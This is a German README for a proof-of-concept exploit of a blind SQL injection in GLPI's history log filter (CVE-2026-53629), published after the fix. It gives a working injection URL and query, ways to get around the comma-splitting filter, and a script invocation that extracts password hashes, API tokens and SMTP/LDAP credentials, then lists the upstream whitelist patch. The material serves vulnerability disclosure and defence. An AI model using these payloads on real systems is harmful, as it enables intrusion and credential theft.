
PoC für CVE-2026-53629, blinde SQL-Injection im Filter des GLPI-Verlaufsprotokolls
Blinde SQL-Injection im GLPI-Verlaufslogfilter. CVE-2026-53629, behoben in 11.0.8 und 10.0.26, defekt seit 9.4.0.
Benötigt ein beliebiges Konto mit dem Recht logs READ. Das mitgelieferte Read-Only-Profil besitzt es.
Sicherheitshinweis: GHSA-cpcj-x335-5cmh Artikel: wie ich es gefunden habe
Log::convertFiltersValuesToSqlCriteria() zerlegt den Filter affected_fields in key:operator:values. Der Patch für CVE-2026-29047 validierte den Operator und castete den Array-Index, ließ $key aber unverändert.
DBmysqlIterator::analyseCrit() setzt , und nicht als Spaltennamen in Anführungszeichen. Es rekursiert in deren Werte, und diese Rekursion endet in einem veralteten Zweig, der einfache Zeichenketten als rohes SQL zurückgibt.
ORANDNOTWenn also OR als Schlüssel verwendet wird, landet alles Beliebige in der WHERE-Klausel:
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))
Der Tab „Verlauf“ macht dasselbe über filters[affected_fields][0].
explode(',', $values) zerbricht alles mit einem Komma, daher sind SUBSTRING(s,1,1) und IF(a,b,c) nicht möglich. CASE WHEN ... THEN ... ELSE ... END und MID(s FROM n FOR 1) erledigen die Arbeit. Hexadezimale Literale statt Anführungszeichen, 0x676c7069 ist glpi.
Der Payload wird pro Zeile in glpi_logs ausgeführt, sodass sich der Schlaf multipliziert. Sechs Zeilen mit sleep(5) ergeben 30 Sekunden. Reduziere ihn bei einer echten Instanz auf 0.1, sonst kommt die Anfrage nie zurück.
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly
Liest glpi_users.password Zeichen für Zeichen per binärer Suche. --id für einen anderen Benutzer, --sleep und --threshold für langsamere Ziele.
Der gleiche Trick liest api_token, personal_token sowie die SMTP- und LDAP-Zugangsdaten in glpi_configs.
Upgrade durchführen. Falls das nicht möglich ist, entzieh den Profilen, die es nicht benötigen, das Recht logs READ. Upstream hat den Schlüssel auf die Whitelist gesetzt:
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}
Veröffentlicht, nachdem der Fix verfügbar war. Nicht auf Systemen ausführen, die dir nicht gehören.